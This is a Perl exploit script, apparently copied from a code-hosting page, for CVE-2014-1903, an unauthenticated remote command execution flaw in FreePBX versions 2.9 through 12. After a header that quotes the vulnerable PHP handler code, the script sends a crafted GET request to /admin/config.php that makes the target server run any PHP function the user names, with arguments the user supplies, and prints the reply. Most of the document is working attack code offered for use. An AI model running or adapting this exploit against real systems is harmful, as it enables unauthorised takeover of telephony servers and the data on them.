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oldays/CVE-2014-1903.pl
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| #!/usr/bin/perl | |
| use strict; | |
| use warnings; | |
| use IO::Socket::INET; | |
| # Exploit Title: FreePBX 2.9,2.10,2.11,12 Remote Command Execution | |
| # Google Dork: n/a | |
| # Date: 2/25/14 | |
| # Exploit Author: @0x00string | |
| # Vendor Homepage: http://www.freepbx.org/ | |
| # Software Link: http://mirror.freepbx.org/freepbx-2.11.0.tar.gz | |
| # Version: 2.11 tested working | |
| # Tested on: Ubuntu 12.04, 13.10 | |
| # CVE : CVE-2014-1903 | |
| # References: | |
| # http://seclists.org/bugtraq/2014/Feb/42 | |
| # http://issues.freepbx.org/browse/FREEPBX-7123 | |
| # http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1903 | |
| # | |
| # Developer Advisory: | |
| # http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice | |
| # in /admin/config.php | |
| # // handle special requests | |
| # if (!isset($no_auth) && isset($_REQUEST['handler'])) { | |
| # $module = isset($_REQUEST['module']) ? $_REQUEST['module'] : ''; | |
| # $file = isset($_REQUEST['file']) ? $_REQUEST['file'] : ''; | |
| # fileRequestHandler($_REQUEST['handler'], $module, $file); | |
| # exit(); | |
| # } | |
| # in /admin/library/view.functions.php | |
| # case 'api': | |
| # if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) { | |
| # $function = $_REQUEST['function']; | |
| # $args = isset($_REQUEST['args'])?$_REQUEST['args']:''; | |
| # | |
| # //currently works for one arg functions, eventually need to clean this up to except more args | |
| # $result = $function($args); | |
| # $jr = json_encode($result); | |
| # } else { | |
| # $jr = json_encode(null); | |
| # } | |
| # header("Content-type: application/json"); | |
| # echo $jr; | |
| # break; | |
| $| = 1; | |
| my $sock = new IO::Socket::INET ( | |
| PeerHost => $ARGV[0], | |
| PeerPort => '80', | |
| Proto => 'tcp', | |
| ); | |
| die "$!\n" unless $sock; | |
| my $func = $ARGV[1]; | |
| my $args = ""; | |
| my $i = 0; | |
| my $max = 1; | |
| foreach(@ARGV) { | |
| if ($i > 1) { | |
| $args .= $_; | |
| } | |
| unless($i > (scalar(@ARGV) - 2)) { | |
| $args .= "%20"; | |
| } | |
| $i++; | |
| } | |
| my $payload = "display=A&handler=api&file=A&module=A&function=" . $func . "&args=" . $args; | |
| chomp($payload); | |
| print "payload is " . $payload . "\n"; | |
| my $packet = "GET http://" . $ARGV[0] . "/admin/config.php?" . $payload . "\r\n\r\n"; | |
| my $size = $sock->send($packet); | |
| shutdown($sock, 1); | |
| my $resp; | |
| $sock->recv($resp, 1024); | |
| print $resp . "\n"; | |
| $sock->close(); | |
| exit(0); |